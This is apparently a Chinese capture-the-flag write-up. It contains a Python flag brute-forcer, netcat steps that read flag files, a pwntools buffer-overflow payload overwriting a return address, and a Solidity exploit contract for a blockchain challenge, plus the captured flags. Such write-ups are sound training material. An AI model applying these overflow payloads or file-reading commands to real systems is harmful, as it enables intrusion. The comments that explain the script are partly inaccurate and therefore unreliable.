# 循环执行,直到x等于code_的长度减1
while True:
# 如果x等于code_的长度减1,则跳出循环
if x == len(code_)-1:
break
# 循环执行,每次循环都会更改flag_的值
for s in string.printable:
flag = flag_+s+'0'
code = ''
l = len(flag)
# 循环执行,每次循环都会更改code的值
for i in range(l):
num = ((ord(flag[i]) + i) % 333 + 444) % 555
code += chr(num)
# 将code转换为字符串
code = list(map(ord, code))
# 循环执行,每次循环都会更改code的值
for i in range(l):
code[i] = code[i] ^ code[(i + 1) % l] ^ code[(i + 2) % l] ^ code[i]
# 如果code[x]等于code_[x],则打印flag_,并将x加1
if code[x] == code_ [x]:
print(flag_)
# print(x)
x += 1
flag_+=s
print(flag_)
break


# 这段代码使用了一个while循环来遍历字符串printable中的每个字符s,将s与'0'连接起来,得到一个新字符串flag。然后,它创建了一个空字符串code,长度与flag相同。接下来,它使用一个for循环遍历flag中的每个字符,计算每个字符的ASCII码,并将结果添加到code中。最后,它使用一个for循环遍历code中的每个字符,执行异或操作。在每次迭代中,它会将当前字符与前面的两个字符进行异或操作,并将结果存储在code中。

# 在循环中,它会检查x是否等于code_的长度减1。如果是,则跳出循环。然后,它会继续遍历字符串printable,将每个字符与'0'连接起来,直到得到一个长度与code_相同的字符串flag。接下来,它会更新x的值,使其等于当前字符的索引加1。最后,它会将当前字符添加到flag中,并打印flag。

pwn

nc

cat /flag

flag{ca3a4566-cb04-481b-a445-494dab9764ab}

hard nc

ls -al

cat .gift

cd gift2

cat flag2

flag{798254d5-81a6-48ea-acd4-0e1612b84804}

[week1]四则计算

1
2
3
4
5
6
7
8
9
10
from pwn import*
\# io = remote('' )
io = process('./alloc')
\# gdb.attach(io)
context.log_level = 'debug'
ret=0x000000000040101a
payload = b'\x00'*58 + p64(ret) + p64(0x04015DC)
io.send(payload)
\# io.sendline(b'0')
io.interactive()

##[week2]blockchain signin

准备工作 nc工具 MetaMask remix网站

本题借鉴文章http://coldwinds5167.github.io/2022/10/Blockchain-solve/

先利用题目给了水龙头,创建一个账户

image-20231008194559328

根据要求,发多于0.01个测试币注册账号

image-20231008194648446

之后访问2(需要手动推出nc重新链接)

image-20231008194728150

提取他给的contrant address

0x002C8040CC431dCd9440B966E5A3f63B9ab61F56

在这之前你需要利用题目给的水龙头和rcp创建钱包账户

选中网络

之后点添加网络-手动添加网络

之后复制你钱包地址image-20231008200232881

放到给的水龙头地址

之后你的账户里就有钱了

之后访问4,得到合约

pragma solidity 0.8.9;

contract Greeter {
string greeting;

constructor(string memory _greeting) {
    greeting = _greeting;
}

function greet() public view returns (string memory) {
    return greeting;
}

function setGreeting(string memory _greeting) public {
    greeting = _greeting;
}

function isSolved() public view returns (bool) {
    string memory ctf = "YouAreTheFutur3ofQLNU";
    return keccak256(abi.encodePacked(ctf)) == keccak256(abi.encodePacked(greeting));
}}

我们这里用到remix

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity 0.8.9;

contract Greeter {
string greeting;

constructor(string memory _greeting) {
greeting = _greeting;
}

function greet() public view returns (string memory) {
return greeting;
}

function setGreeting(string memory _greeting) public {
greeting = _greeting;
}

function isSolved() public view returns (bool) {
string memory ctf = "YouAreTheFutur3ofQLNU";
return keccak256(abi.encodePacked(ctf)) == keccak256(abi.encodePacked(greeting));
}
}

contract exp{
address transcation=0xbaed0e840640c1d979ACed1315e14D983808F9F5;//这里的0x啥对应的是我们前面提取的钱包地址
Greeter target=Greeter(transcation);
constructor()payable{}
function hack() public returns(bool){
bool ans=false;
string memory greeting="YouAreTheFutur3ofQLNU";
target.setGreeting(greeting);
ans=target.isSolved();
return ans;
}
}

红色的地方要对应起来

先对应第一步,先inject的那个,第二步deploy,之后小狐狸钱包(MetaMask)会弹窗让你确认,等到下面出现绿色对号就可,第三步hack,小狐狸钱包发钱,成功后,回去访问4就可以了